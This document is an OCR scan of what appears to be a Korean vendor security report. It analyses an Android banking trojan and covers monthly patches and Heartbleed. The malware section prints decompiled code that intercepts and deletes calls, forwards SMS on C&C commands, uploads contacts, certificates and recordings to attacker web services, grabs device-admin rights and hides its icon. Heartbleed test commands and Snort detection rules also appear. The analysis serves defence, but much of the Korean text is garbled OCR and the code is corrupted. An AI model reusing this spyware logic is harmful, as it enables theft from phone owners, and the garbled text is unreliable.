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Class AppContext
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onCreate()
Class AppContext
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HZ 291 71 CallService
ClientService
SmsService
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Class ClientService
- uploadPhoneinfo-- A7\ Re e
- cmd_query phone list $@ | > -ELIHHIA o
- bankHijack() ﬁf"ms:':'m
[ A
SmsService Ceri
Class BKMain
- onCreate()
- DownLoadFileThreadTask
- replaceDialog()
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Class MainActivity
EntryPoint
onCreatef()
initDevice
activeManager()
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2. MHIAS S25(0] £7|MOE 485l TE - ZYE X2ty

3. SMS 441 A| $3E|= FE - A. SMS LS

A ZHs
B. SMS U9

—
Lh= Zos B M| 4XIEH St S= & Sat 7|15& AHlst= Z=0]H.

=

public void onReceive (Context paramContext, Intent paramlIntent)

{
if (paramIntent.getAction().equals("androcid.intent.action.NEW_CUTGOING_CALL"))

{
if (AppContext.phonelntercept <= 0)
return;
if (getResultData() == null)
return;
setResultData (null);
return;
}
String str = paramintent.getStringExtra("incoming number®™);
if (str == null)
return;
1f (Applontext.phonelntercept <= 0)
return;
try
{
boolean bool = this.this$0.telephony.endCall():
this.thiss0.deleteCalllog(str):;
return;

}

catch (Exception lccalException)

{
LogUtil.1("CallService : cannot endcall”):

}
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public DownLcadFileThreadTask(String paramStringl, String arg3d)
{

this.path = paramStringl;

Object localObject;

this.filepath = localObject;

}

public void run{()

{
try

{
String strl = this.path;
String str2 = String.valueOf(AppContacts.BASE DIR);
StringBuilder localStringBuilder = new StringBuilder(str2):;
String str3 = this.filepath;
String strd4 = strs3;
ProgressDial localProgressDial = BKMain.this.

int i = Log.1("abc", "Download success"):
BKMain localBKMain = BKMain.this;
String str5 = BKMain.this.package name;
localBKMain.uninstallPackage = str5;
Message localMessagel = new Message():
localMessagel.what = 302;
boolean boecll = BKMain.this.handler.sendMessage (loccalMessagel):;
BKMain.this.filetoInstall = localFile;
BKMain.this.pd.dismiss():
return;
}
Message localMessagel2 = new Message():
localMessagel.what = 301;
boolean bool2 = BKMain.this.handler.sendMessage (localMessage?);
return;
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3. 43y X

Ol LIS2 ADEE SEE AHZ TS =, ¥S U B= 2 2EE F20|H. 0] =, W= &2 s XISt

protected void replaceDialog(Context paramContext, String paramString)
{
GeneralUtil.goHome (gethpplicationContext()):
String strl = this.filetclInstall.getAbsolutePath():
File localFile = new File(strl):
int 1 = Log.e(">>20022200000>", "HiLNNILLY  %);
PackageManager localPackageManager = getPackageManager():
String str2 = this.filetolInstall.getAbsolutePath();
PackageInfo localPackageInfo = localPackageManager.getPackageArchivelInfo(str2, 1);
if (localPackageInfo '= null)
{
String str3 = localPackagelInfo.applicationInfo.packagelame;
String strd = "1 " 4 ger3 + " " + paramString;
int j = Log.e(">>>>>>5>5>>5>>", strd):;
SharedPreferences.Editor localEditerl = getSharedPreferences ("BANKPIAQ", 0).edit():
SharedPreferences.Editor localEditor2 = localEditorl.putString(paramString, str3);
boolean bool = localEditorl.commit():

4, SMS 1}

Ofell Z== S4Xte| BH0| M2t SEotk= 20| SMS= FES B2 AEAL] A=fA0| = e = SMS EAE 2HiLt, oY
A2 WE2 ARV AMHE Sot ANEZC = TSI,

JSONArra = ay (strl);

int 1 = 0;
int j = localdS0ONHArray.length():
if (1 >= 3]
return;
Jtring str2 = localJSONArray.getString(i):
Iterator locallterator;
if (str2.length() > €)
{
SmsManager localSmsManagerl = ProcessBemoteCmdService.access$3(this.thisf0) .smsManager;
String str3 = this.valsSmsContent;
locallterator = localSmsManagerl.divideMessage (str3).iterator():

}
while (true)

{

if ('locallIterator.hasNext())
{
i+=1;
break;
}
if ({1 > 0) &5 (1 % 15 == 0))
Thread. sleep(10000L) ;
try
{
SmsManager localSmsManager? = ProcessRemoteCmdService.accesss3(this.thiss0) ..amsManager;
String strd4d = (String)locallterator.next();
PendingIntent localPendingIntentl = ProcessRemoteCmdService.accesss4(this.chiss0);
PendingIntent localPendingIntent? = ProcessBRemoteCmdService.accessss(this.thiss0):

ESTsoft %FJ%EEE'_TI_M copyright by Estsoft Corp.All rights reserved.
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5, QIR 47
LT A E OOl Mb]A R S=& ContactsService= HEZ0| KHHEO U= T=HA HEE F0UO localContacts O MZETH. 0 =
=0l Chet 227t = WO} HEE0| MEEN U= V=X BRE Tt Fats el

Contacts localContacts = new Contacts():

String strl = String.valueOf (AppContext.clientId):
localContacts.clientld = strl;

int 1 = leccalCursorl.getlInt(0);
localContacts.contactsld = i;

rioso Lt 0caLScaghul Lo = v eriachoL s (-Goment: o, DS CORAGES CORAGES )
int j = loc - -
Uri localUri2 = Uri.parse(j + "/data"):
String[] arrayOfString2 = new String[3]:
arrayOfString2(0] = "mimetype";
arrayOfString2([1l] = "datal";
arrayOfString2([2] = "data2":;
Cursor localCursorz = localContentResolver.querv(localUri2, array0fString2, null, null, null);
for (::)
{
if (!localCursorZ.moveloNext())
{
localCursor2.close():
if ((localContacts.phone == null) || (lecalContacts.name == null)) {
break;
}
boolean bool = localArrayList.add(localContacts);
break:

6.SMS, ¢i=ix] S S 25

AIZXP L 4 B2 BXE MHE ™SS SmsService.class?t QIAEA S| E[H smsReceiver 2E|AE 2JAHE SSELLCL

class SmsServices$2
implements Runnable

{
SmaServices2 (SmsService paramSmsService, Arraylist paramArraylist) {}

public void run()
{

Util.i("SmsService --> start upload sms thread!”

return;
}

StringBuilder localStringBuilder = new StringBuilder ("SmaService --> uplcad sma successz for :7);
ArrayList localArraylist = this.val$ésmsList;

LogUtil.1(localArraylist):

ES Ysoft E7F=SHE 1AM copyright by Estsoft Corp.All rights reserved.
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smsReceiver EciA= $LE ZXHHIAXIE MHE TSI HEZ| N S5 4 U= HE= WebServiceUtil E21AE 012610
MHZ FEE|0, WebServiceUtil 2eANIAM AHE F&6H= ME= 02} 2Tt

- SUASM B=E
E

MYZE 7|52 ZEL EMotH SEGHX| Bi=0 ISM & I Lot EXIolX| Y=

public static Object uploadCert(String paramString)
{
try
{
String strl = AppContacts.BASE DIR:
File localfFile = new File(strl, paramScring):
FileInputSctream localfilelnputStream = new FileInputScream(localFile):;
byte[]) arrayOfByte = new byte([(int)leccalFile.length()]):
int 1 = localfilelnputStream.read(arrayOfByte);
localFileInputStream.close():;
LinkedHashMap locallinkedHashMap = new LinkedHashMap():
Object localCbjectl = lecallinkedHashMap. put{"ilellm , paramString):

™
LIS e | o o e R T P =1l . LM S e B

-
¥

}
catch (Excepticn localExcepticon)

{
for (::)
{
StringBuilder localStringBuilder = new StringBuilder(“upload record error®):
String atr2 = localException.getMessage():
LogUril.i(str2):
Cbject locallObjectd = null;
}
}

return localCbjectd;

}

- ORIRH 2
ISM Y=L 7 DRV K= B2 E 7|5 ZETF EXHSHT.

public static Object uploadFileInfo(CUserFile paramCUserFile)

{
String str = JsonUtil.parseCUserFileData(paramCUserFile);

LinkedHashMap locallinkedHashMap = new LinkedHashMap():
Object localObject = locallinkedHashMap.put("cUserFileJdsonData™, str):

-UEE ZEH ERE

public static Cbject uploadPnoneInfo(FPhonelnfo paramPhonelInio)

{
String str = JsonUtil.psrsePhonelnfoData (paramPhonelnio);
LinkedHashMap locallinkedHashMap = new LinkedHashMap():
Object localObject = locallinkedHashMap.put("phonelnfodscnData”™, str):
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public static Object uploadPhoneRecorder(PhoneRecorder paramPhoneRecorder)

{
String str = JsonUtil.parsePnoneRecorderData (paramPhoneRecorder) ;

LinkedHashMap locallinkedHashMap = new LinkedHashMap/():
Object localObject = leocallinkedHashMap.put ("phoneRecorderJsonData”™, str):

}

- O8X EEE

public static int upleadContacts(List<Contacts> paramblist)
{
int 1 = 1;
if ((paramList == null) || (parambList.isEmpty())) {
LogUtil. 1 ("WebServiceUtil-->uploadContacts--> not new contacts uplecading.....”):
}
lakellqdl:
for (::
{
return i;
int j = paramList.size();
int k = 0;
for (:;
{
if (k >=3J) {
break labelldl;
y
int m = 20;
if (3 - k <= 20) {
m=17j - k:
}
intn=k + m
String str = JdsonUtil.parseContactsData(paramlList.subList(k, n));
LinkedHashMap locallinkedHashMap = new LinkedHashMap():
Object localObject = locallinkedHashMap.put ("contactsdscnData"”, str);

LegUtil. i ("WebService-->uploadContacts-->» Upload is error"):
i=0;:
break;

}

ESTsuﬂ‘ %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,



Part2 42| 2T E O

otz MY Y=L
2lE w5ok= I EMGH| B2, B=E 7Is st I EX|SIT,

*“.‘.mm

0

public static Object uploadRecorder(String paramString)

{

try

{
String strl = AppContacts.BASE DIR;
File localFile = new File(strl, paramString):
FileInputStream localFileInputStream = new FileInputStream(localFile);
byte[] arrayOfByte = new byte[(int)localFile.length()]:
int i = localFilelInputStream.read(array0OfByte);
localFilelInputStream.close();
LinkedHashMap locallinkedHashMap = new LinkedHashMap():
Object localObjectl = locallinkedHashMap.put("fileName", paramString):;

ey - 0 8y - = locs nkedHashMap . pu ecorderByvee z ayOLByt

=

ogUtil. 2 (localObject3.toString
return localObject3;

}

catch (Exception localException)

{
for (::)
{

String str2 = localException.getMessage():;

LogUtil.1(str2);
Object localObject3 = null;

StringBuilder localStringBuilder = new StringBuilder("uplcoad record error"):
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7171 8= EFl= ClientService Sei20|A 0]F0X|H, AppContetxOfl XHEE S H0Lt M= TS

ClientServices7 (ClientService paramClientService) {}

public void run()
{

String strl = AppContext.phoneldentity;

if ((strl == null) || (strl.equals(""))) {
strl = "50";

}

String strl2 = Build.MODEL;

if ((str2 == null) || (str2.equals(""))) {
str2 = "80";

}

String str3 = String.valueOf(Build.VERSION. SDK) ;

if ((str3 == null) || (str3.equals(""))) {
gtr3 = "o0";

}

String strd4 = Applontext.deviceld;

1f ((str4 == null) || (strd.equals(""))) {
strd = "50";

}

String str5 = Applontext.providerName;

if ((str5 == null) || (str5.equals(""))) {
strS = "&80";

}

String stré = Applontext.bankName;

if ((stré == null) || (stré.equals(""))) {
stré = "50";

}

String str7 = AppContext.clientVersion;

if ((str7 == null) || (str7.equals(""))) {
stri’ = "o0";

}

String strf8 = AppContext.imsi1;

if ((strf == null) || (str8.equals(""))) {
strg = "&50";

}

PhoneInfo localPhoneInfo = new Phonelnfo():

localPhonelInfo.identity = strl;

localPhonelInfo.providerName = strS5;

localPhoneInfo.bankName = stré;

localPhoneInfo.model = strl;

localPhonelnfo.clientVersion = str7;

localPhonelInfo.imei = str4;

localPhonelnfo.imsi = stri;

localPhonelnfo.version = str3;

try

{
Object localObject = WebServiceUtil.uploadPhoneInfo(localPhonelnfo):
1f (localCbject == null) {

return;
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7171k 2= 20| OS2 HiE0| &= 2l5A20= FHE Hetll =, ¢I=20|= OS HUIMT Chst 22 Helss QF0l 7H2
2 olct

- ADEES = A= et

- ADIEEO| 2 HIUHS ¥

-  ADEZEQ| x7|3}

- PBHS K01 22 o) M| 27}

[He g 28 7|7 R2IAIS Q&6Hs LA} EQICE J2iLt 7|7 [RI2IXt #ehe Q51| 2ot ARGHS 1A LHo| Action
S120| QICHS 242 & 4 QUC Ofi= QIE 20| F{OFHE 085 HOR, 717 [2|Xt Hat A% Al ANIEZ0| MHUIM 7|7 |22ixt
EENE A RS SIOIHS 20} 2lsf R W 4 ICL TRAL TR 20 a1G0| SR 8 37, 7D RN HRE IR
QUE| SIFOIAS 2101 8 4 SI0] ARBRP OHAIO| 7|7 [Rr2IX} HBHS SHAIE 2

D

<receiver android:label="@string/dlabel" android:name=
"com.google.android.ebk.hana.kakao.recelver. LockRecelver" android:permission=
"andrnid.permissinn BIND DEVICE ADMIN" android:description="@gstring/dlabel">

' <meta-data android:name="android.app.device admin" android:resource="@xml/device admin" />
{frec51ver}

private wvoid activeManager ()
{
: Intent intent = new Intent("android.app.action.ADD DEVICE ADMIN"):

ComponentName componentname = componentName :

Intent intentl = intent.putExtra("android.app.extra.DEVICE ADMIN", componentname):;

Intent intent2 = intent.putEHtra{"andraid.app.extra.ADD_E}{PLMHLTIGN", "Android8 Google Z 4B
F: 43 7171914 28 RS 248 5+ U= 7HF B=E23 39T FHAYUG A\ *~ 43 FOA S
== HESE HE=EA 24 \r\n * 2 A% =9 7159 24 A8 \r\n * 17 7|%EtS] BE ZAEZS
AE");

startlActivicy(intent)

9,00/2 24

O] &A% O|21 HEJH]EIOAM 2| OF0I2 S =7|== Bt O1FA| =T ALEAP | iSRS AtKilsH | OiEL.

IE

private void HidelIcon()

{

PackageManager packagemanager = getPackageManagexr () :
ComponentName componentname = getComponentName () ;
packagemanager.setComponentEnabledSetting (componentname, 2, 1)
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27| AD[A YSS (R QALY UTHT ST 7150] BEX| QIUTE TR E2 ADANSS CHEE (RC TEE ZHAIT QT Eot

78k 245 =EE|L FulsX = FAMICt. Korean.apk ¥ Ol2{et CRCE ~AlolH, SMSE Soll 3= HE0F +~lolL}. Efa—

SMS2| 330 S0|.

- cmd_forward_phone_number
=415t SMS LE0]| 24X} HefHS E AP oHA YLK Hs 2 So BT,

if (str7.equals("cmd forward phone number"™))
{
abortBroadcast();
String strl0 = String.valuelf(strl):
String strll = strl0 + stri;
this.this$0.appContext.smsManager.sendlextMessage(str2, null, strll, null, null):;
StringBulilder localStringBuilder? = new StringBuilder("cmd(") .append(str7) .append(”] sms for :
String strl2 = strl:
LogUtil.2(strl2);
}

")

- cmd_get_phone_number
C&C A= SRl ADIEEC| HS 2} OF0)| MEE|0] JUH Z2| HS

ofH TS,

- cmd_update_ip
CRC AMH| |PE TEE2 |PE HAst = A DA HEetCt 12|17 clientservice & A-SoltCt.

- cmd_phone_intercept
24 HetE Biolisttt, MetE AMNE S=olll S2t 7155 AN,

- cmd_sms_intercept
SMSE XZEst = 7 AIE0| MHE &St

— cmd_start_bank
HiZIds O 3 JAX| o= ZEE SEARFIC

—cmd_send_sms

T U= HS 2 SMSE TEBHC] S SMS41 A| BHO| OH A0 “smsintercept™} EE|0] AS B SMSE 220

RESBICL
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public void updatelp(String paramString)
{
1f (lockIp >= 1)
return;
AppContacts.initiebServicelUrl (paramString):
clientId = -1;
SharedPreferences.Editor localEditorl = this.preferences.edit():
SharedPreferences.Editor localEditor2 = localEditorl.putiInt(“"client id", -1):
SharedPreferences.Editor localEditor3 = localEditorl.putBoolean("first_run®, 1):
boolean boecl = localEditorl.commit():
try
{
File localFilel = getApplicationContext() .getFilesDir():
File localFile2 = new File(localFilel, "config.properties”):;
Properties localProperties = new Properties():
Object localCbiject = localProperties.put ("xmpp"”, paramString):
FileQutputStream localFileQutputStream = new FileQutputStream(localFilel);
localProperties.store (localFileCutputStream, ""):
localFileOutputStream.close():
Intent leocallntentl = new Intent(this, ClientService.class):
Intent leccallntent?2 = locallntentl.putExtra("cmd”, "cmd system init"):;
ComponentName localComponentName = startService(lecallntentl):
return;

}
catch (Exception localException)

{
while (true)
LogUtil.1("ChangeIP : error write config™):

CHS TS AH0] Holshs BE URIE WAoHs TEZ, FAE YBHOE M A 4 UES FAE0| ULt

public static void initWebServiceUrl (String s)

{
UPLOAD CLIENT INFO URI = (new StringBuilder("http://")).append(s).append (
"/PhoneManager/services/ClUseriWebService?wsdl"™) .toString() :
UPLOAD CONTACTIS URI = (new StringBuilder("http://")) .append(s) .append(
"/PhoneManager/services/ContactsWebService?wadl") .toString() :
QUERY PICTURES URI = (new StringBuildex("http://")).append(s).append/(
"/PhoneManager/services/PictureWebService?wsdl") .toString() ;
UPLOAD SMS URI = (new StringBuilder("http://")).append(s).append |
"/PhoneManager/services/SmsWebService?wsdl") .toString() ;
UPLOAD BANK URI = (new StringBuilder("http://")) .append(s).append(
"/PhoneManager/services/BankWebService?wsdl") .toString() ;
UPLOAD PHONE RECORDER URI = (new StringBuilder("http://")).append(s).append(
"/PhoneManager/services/PhoneRecorderWebService?wsadl™) .toString() :
UPLOAD FILE URI = (new StringBuilder("http://")).append(s).append (
"/PhoneManager/services/FileWebService?wsdl") .toScring()
QUERY COMMAND URI = (new StringBuilder ("htctp://")).append(s).append(
"/PhoneManager/services/CommandWebService?wsdl") .toString () ;
QUERY SMS URI = (new StringBuilder("http://"}) .append(s).append(
"/PhoneManager/services/SendSmesWebService?wsdl") .toString()
DOWNLOAD URI = (new StringBuildex("http://")).append(s).append("/").toString():
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O0[2fEt oYU M%| & £7| TTTH TSE= AR T Y| HHOINES T334 UOH, 0] F B2KL| 0| 2J3h F7HH0!
HHOIRE 257 UOJLITE T2bA AFBXHE Y AX| Al 245] ZOIZ 7120|T, o) oh OIS D[] QIX[E 4 UTE B
S UOHS FT5H0] OfBHs 20| SRt FL5ITY

5 CHHO}

O O Lo

Troan. Android KRBankerTt 22 QH910| MX|S BOR{P [STH 22 ZX|S H510{0F BiTt
- ADIAS TIEHE £ s W AIS

- S AR510] F7IMOR HAL

- CPEenYax MU AN

-G AN S H| 2NH (A DS S5 Y AR| B
- 25 9% S ANEES| XS YojZ HASH o)
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Ar=UESI0] St 20| L1254 U= 7H20] =4 SALI0 2fol] W E =4F 2EHEL! LR ESA7 AN FAHAIS XlEshs 2SHE=
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- Microsoft Word % Office Web Apps2| FIFHC 2 QISH #2 T = A3l FH|T(2949660)
0| E2t YH|0|E= Microsoft Office?| S7HE F27E 1241t HIS7HE H0E FUFE 2718 SHASLICE O2(St F2FE & 71 Hdst FAEH2=E QlsH
Fak= &= Microsoft Office 2D ES||0| HEOIM S4=61A &= OIS E 4% #4 T & 30| 518E 5= UsULL FYE 480 dact S3X =
2N ALEAILL SYTH HTHE ™S 5= USLICE AAZ0)| Cheh AFZAL H2SH0 | HA| edE APde] IS 22| X HIC = Xefdh= 10240)| BsH HE=S

| 2L

- Internet Explorer 5% H2t ¢H|0|E(2950467)
Of E2+ A|0|E= Internet ExplorertiA] RIAE| HIS/HE 22 HIE FOfFE 641= o @LIC, Ol2{et FAEH2 = 2ol AFEAR | Internet Ex-
plorers AFEotH S0/ A= B H0|XIE & 3F H4 ZE 20| o183 = USULL FUE AE0| d&et 44 = 2l ArSAR St
Heots = = UsLCh A[AR0| CiS AFEAL HSH0| A FLdE APES| AREAL= Ee|A} HIt2 = ERok= AL HlsH E&= HA| 2L

= =T

- Windows If X2| 7 Q42| FFHO 2 Ql5h #ZA T T Ml 2XT(2922229)
0] E2F FH0|E= Microsoft Windows2| S711E FUES sIE-LILL AISAP LEE =+ AL Z0| HEE o~ U= HIERT #IXI0IA S5
ZAE bat & .omd IYS 2%0l= 3% 0| FAUEHSE Ao &4 I 280| 7SR, S4Xt= SH= ASAPHHIERZ #IXIE YEol==
LSZLE S0 ZAE OiZs oS & & GigUL. Uit SAX= MEA| 0lfet HEs +doi== F5ool0f ZLILE 0E S0, SAXt=
ASAPt E3E 2=010 SANE| S| ZAE D20 Y= ?XIZ 01501l 20822 0| 2d6ieS 728 + USHH

- Microsoft Publisher2| £4HO 2 Q15 §1 A C 413 FH|H(2950145)
O] E9I AHI0|E= HIBSZHE2 = H 0F Microsoft Office@] F2FES o EEILICE O[3t FUBL2 = Qlol| ALEA | EE=S ®Be Microsoft Publisher
HEILE SoolA| 21E s E 8% &4 IE 80| 5182 = UsUL. 0] FUE =0 d=ct SHAR= Tl AIZAIL SEet Hels e =
USLCE AR CHek ArEA} ASH0| HA| &= APS2] 12 Eeji Hetl = Zoh= 120 Hlsh Bk HA| s

Microsoft 29 H0|0|E s ZH
Windows UpdateE =&li5}HLE Microsoft E2F SX| 22 AIO|EN|A] s F2AHE =S| 7HEHQ| IjX| OIYS CIREE Bk +

USULL
St= : http://technet.microsoft.com/ko—kr/security/bulletin/ms14-Apr

& © http://technet.microsoft.com/en-us/security/bulletin/ms14-Apr
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—_ - o 1 a0

chEARES| oMl S QI|A T =20 || FEAIMO0| 7Fs¢et F2fE0| 2iiE
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CHRE2E AR http://www.hancom.co.kr/downLoad.downPU.do?mcd=001
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IpTIME 77481 S+7| 248 22 SBHI0|E EHd

EFM-Networksitt= ipTIME R4 317(2] 43 HE7} cS&)= FofH
- SMEE
oiste e o

- NAC FFUESF/| 1 ipTIME A2004NS, A2004, A104NS, A104

= HHECH19) 2.2 YOI0|E

m|u
gg
rP.'-'
s
I2
in
S
|

i
s
FH

- 7|17HHIE 11N 45771 1 ipTIME N3004, N5004, N6004, N60O4M, N60O4R, NSOO4R, N804V, N7004NS

+ 100 Mbps 11N 5571 © IpTIME N104, N104M, N2, N604, N604i, N6O4M, N608, N704, N704A, N704M, N704S, N704V, ipTIME N1E, N2E,
N5, N104K, N104Q, N104R, N1045-11, N104V, N104A, N604R, N604V, N60AT, N704A3, N704BCM, N704NS,
N704V3, ipTIME N804, N804A3, NBO4A, N8OAT3, N8OAT, N804V, N904, N9O4ANS, N9O4V

- 7|17HB|E F8ER/] : ipTIME T1004, T1008, T2008, T3004, T3008, T1004, T1008, T2008

- 100ME F8E577| - ipTIME Q604, V304, V308, V1016, V1024

S+7| H2| dHofX|of 212! = FH0 ¥1d[0|= HFoM AtE F10|1E E= =3

- ArS @12|0|== Ofef 13 =&

+& Y140|== EFM HIEEA SH0|X] &=
- http://www.iptime.co.kr/~iptime/bbs/view.php?id=fag_setup&no=154
[EIIAOIE]
http://www.iptime.co.kr/~iptime/bbs/view.php?id=notice&no=810
http://www.iptime.co.kr/~iptime/bbs/view.php?id=faq_setup&no=154
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Adobeiit= Adobe Flash Player0i| Fgks == F2fES ol 28 221 YO|0|ES ZH. J2 BT ASAt= fdZE ZE0| Fofe

QIO D2 SHZIQN M2t HAMHMOR H[0|E AT

- 2MEE
Adobe Flash Player0Ol|M 2dot= 4712] FHEE ol Zot= 22 RHI0|ES EH

2 14[0|= 2 ABH0, BHIO BT 9.04 0lg2= 2X|

- Yo|FE MO Z O|01E = U= HIZ2| &Y dliF(use-after-free) FAUF(CVE-2014-0506)

- YOTE MO Z 0|01FE U= HIH LHEER FAF(CVE-2014-0507)
- HE ER 0|01E £ U= 22 23] F2H(CVE-2014-0508)
+ XSS(cross-site—scripting) F2&(CVE-2014-0509)
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Adobe AIR SDK A+EA}
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[ AL |E] http://www.kb.cert.org/vuls/id/720951http://heartbleed.com/

OpenSSL F|2FH(HeartBleed) CHS 2ot AT
st A= Loll HO| AFESH= OpenSSL 20| E22|0A MO K& = S 22| H|0|E7} '=S5|= HeartBleed2 ! BHE
AZkst {17} UZAE|0] AJARH U ATEQ0{0f CHEH A3t FOFE FX|S AT,
- MM
Fefg
- AL HECS 8 L E FHYS
CVE-2014-0160 (201&0&.0?:]
- Hek = 3
OpenSSL 1.0.1 ~ OpenSSL 1.0.1f
OpenS5L 1.0.2-beta, OpenSSL 1.0.2-betal

- I35 = AJAR) 2 AT EO]
#I2F3t OpenSSL HIZI0| YRHE! AlAE

- MH(EAH, VPN AH 8), HIEY3T ZH|, DU S S CIASHAJASI0| siFE &
F2f2t OpenSSL 210|E2)7t LIEE AT EH HiE
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- J | Y= AT ER0
OpenSSL 0.9.x Cff X
OpenSSL 1.0.0 Cf HH
OpenSSL 1.0.1g

FoUH g

- OpenSSL &35} 20[=2{2]2] SIEH|E(Heartbeat)2h= &5t BE0|A S210|91E @& HIA|X|2 &2/8 [ H0|E] 20| S $8H51X| QLOF A|AE
H22|0fl KEHE 64KB 27[2] HI0|EE 2i520f| M OFFE Mgt 8l0| BF e + U= FfE
SIEH|E : 2210IME 2} M Zto| i HEl H|2Z 218t OpenSSL & 2E

22 e}
2 FOPH2 HZIOIA WY THS 3t HOPO R, BAXHS HIAIK| 20| 7t HZE HeartBeat Request TS #OF3t OpenSSL HZIE Algst=
MOl R2H Z2, HoHZ! BT Hro] BIOJES SZRI0H ZohHl HI0| AR HIZ2i0) HIE HOIYE U OIS M S2 2xst 4 AUS

@ (HS) SF%= SEHIE Izl 40N HO|ZE 20| BEE =X
MEO &5

@ EH) Mele S5A7 aFs Z0|(Z|0f 64KB)TF H 22|0A GOIHE
TEOH 340 A =€

T2} OpenSSL A{H| ’
. MOE  GQCE © Nag R
tg} &0 00 | ABCDS
- - Miﬂ_fﬂﬂm ITES (01K qﬁ}iiﬂ.:{
hﬁ | oxa000

% L& 7RSS AR SSL A HIF|, M7, 37| L ZHQIEE(ID/PW, O|HIYZA S) S

X BTl HEE MHIA 220) 12} O 4 S

FHrd =2l Zxp
- Hd U 98
MH, HEQ3, 2Ot EH| 52| A|AHIOIA OpenSSL AX| 05 £t0l
B AH2 B2 ME EH2lE 2Fot= AAEE EE thadofl 28t
* ME 021 - mail.example.com, blog.example.com &
AARERE OL2 AT EQ HiS AtAl[0f] OpenSSL 210[E2i2]7t LEE|N] =S B HE 22l = HE Uil 22

=
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+ FUE =5 R S0l WY
HH0E St OpenSSL T HE 20l
* opensslO| AX|E AAE0A O BHOIE 2SI AP S E= TS AESH=A| &2

root@server:~# openssl version —-a
OpenSSL 1.0.1 14 May 2012
| ALY B BE |

OpenSSL SHEH|E(HeartBeat) 448t 045 20l
* oSt 2] OpenSSLE At85h= AIAR & HeartBeat 7|5 AL 0 2Hol Y (T, MRIE 2|
* 2[0F3 10| HeartBeat2 AFR5IX| 42 L F|OFK0f Wk K| 42

HZF(1.0.1g)

4 heartbeat

root@server~= openssl s_dient —connect domaincom:443 -tkeddebug —-debug -state | grep

¢ HE0] AdsH 5 1 domain.com0f] A& A URL HE 2 =5
% HeartBeat 7|s0| &4d=tT]q Q= 45 heartbeat =A1E0| HAE

TLS server extension "heartbeat” (id=15), len=1

0000 - 01

read from 0x95¢b888 [0x95d0e33] G bytes => 5 (0x5))

0000 - 16 03 02 0b cc

read from 0x95cb888 [0x95d0e38] (3020 bytes => 3020 tUxBCC‘})

0000 - Ob 00 Ob c2 00 Ob ¢5 00-05 9d 30 8205 99 30 82 ....0.0.
0010 - 04 81 a0 03 02 01 02 02-08 11 bbecdb 0000 39 .......9
0020 - d0 30 Od 06 09 23 86 48-86 f70d 01 01 05 0500 .0..*H.....
0030 - 30 Se 31 Ob 30 09 06 03-55 04 06 13 02 4b 52 31 0710.U..KR1

0040 - 12 30 10 06 03 55 04 0a-0c 09 43 72 6f 73 73 43  0..U...CrossC

% HeartBeat 7[s0| 2M43}=|X| 22 22 heartbeat SXAIE0| M| X| LS

TLS server extension "session ticket" (id=35), len=0

read from Ox9340888 [0x934ee33] (S bytes => 5 (0x5))

0000 - 16 03 02 13 6f O
read from Ox9340888 [0x934ee38] (4975 bytes => 4975 (0x136F))
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OpenSSLHIM AtESH= AATE 2101
* OpenSSL FYEO0| TdE AATES SEHOH 0|2t 20| 22 K| =7t /1= R=A| 22ls Soff £ HF
* X = HEN A= 0L 20| ArZ2AF 2F HIA[X|M| Chet 20|F BAI=S 271 =718

FHo® Acssl/dl_both.c) 2ot mjx] 3 cssl/dl_both.c)
/* Read type and payload length first ¥/

f (1 + 2 + 16 > s->s3->rrec.length)
retum O

hbtype = "p++, hbtype = "p++,
n2s(p, payload); n2s(p, payload),
pl =g if(lL+ 2 + payload + 16 >

s->s3->rrec.length)
retumn 0;

pl = p;

% 20 ARO|E : http://git.openssl.org/gitweb/?p=openssl.git:a=commitdiff:h=96db902

KISAGIECIHHUITIZSH)E S5 FHUE o5 22l
* RIHIE01 21010 | 0242 A KISA M2 22 HE2 9F

*’8"!& H2tH HYTEL
&I|E 02-405-5223 skj@kisa.orkr
anE 02-405-5488 uhong@kisa.or Kr

- ofl 28
AAH ST OIS 2eb
+ OpenSSL HES 1.01g HEC 2 HH|0|E
- MH|A 2SO0 ME AT EQ0] 2jEd ZHIE 1124610 YC|0|E WS MEist YIEA| HAY HAE 23
*Of2f 22t x| 22 CentOS/Fedora 2! Ubuntu2| OH|2 2t SSX|H| H2 HH|0|E 2HH0| A0|E 4 AUS

CentQS/Fedora
* HH| AAE] AGI0|E(OpenSSLE EE&SHA|AR LS| AT EQN MR SHOO|E)

yum update

OpenSSL YH|0|E

sudo pacman -Syu

ESTSﬂﬂ' %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,
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Ubuntu

* {7 A|AE] AHH[0|E (D}]EFISSL; S5 A|AE] LHO| AT EQH ME HGH|0|E)

sudo apt-get update
sudo apt-get dist-upgrade

* OpenSSL YH0|1E

sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

- H=A0| Ed IE0| I | A] ZHERS] HHI0|E7 A2 B HeartbeatE AIE6HK| S AOY SMS
CVE-2014-0160 (2014.04.07)

OpenSSL AT ES XE L2d0F Bhtol= 8% 0|Eae] 2j&d A7 2ot /152 AE0| &

Jconfig -DOPENSSL_NO_HEARTBEATS
make depend

make

make install

(HIEST HOH SH| S8 HS t4oh)
- Zo1H 32| ©X| W AT IHE X
Of2H2] Snort EAX| E(rule)S 25101 RUKIAAR W ZIQIRHCH AALI0) THE H0|E XHE D

* AT IR HE= ML X HIERT SEEE 00l BE

[OpenSSL HeartBeat ZfE B X| Snort Rule]

- SSL AH|A Zeof Cfs] 37 QA MAEE 18 03 71 TA| QT

glert tcp any any < > any
[£443,465,563,636.695,898,989,990,992,993,094,995,2083,2087,2096,2484,8443 8883,2091]
(content:"|18 03 00|"; depth: 3, content."|01]"; distance 2; within: 1;

content!"j00]"; within: 1; msqg: "SSLv3 Malicious Heartbleed Request V2°;

sd: 1))

dlert tcp any any < > any
(443,465,563,636,695,808,989,090,992,993,004,065,2082,2087 2096,2484,8443 8883,6001)
(content:"|18 03 01|"; depth: 3; content"|01]|"; distance: 2; within: 1;

content:I"[00]"; within: 1; msg: "TLSvl Malicious Heartbleed Request V27,

gd: 2)

dlert tcp any any < > any
[443,465,563,636,695,898,959,990,992,993,994,995,2083,2087,2096,2484,8443 5383,9091]
(content*|18 03 02|"; depth: 3, content"[01]"; distanca 2; within: 1;

content:!"|00]"; within: 1; msg: "TLSv11l Malicious Heartbleed Request V2"

ad: 3)

X =X : FB
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=EH7|

(AH|A 22| =M [ 810t

- e & SSL HIZ7|(Secret Key)7t RESIAS THS42 HIRIE 4 O7| TH20| QISAE X s HS STAPI ZHE
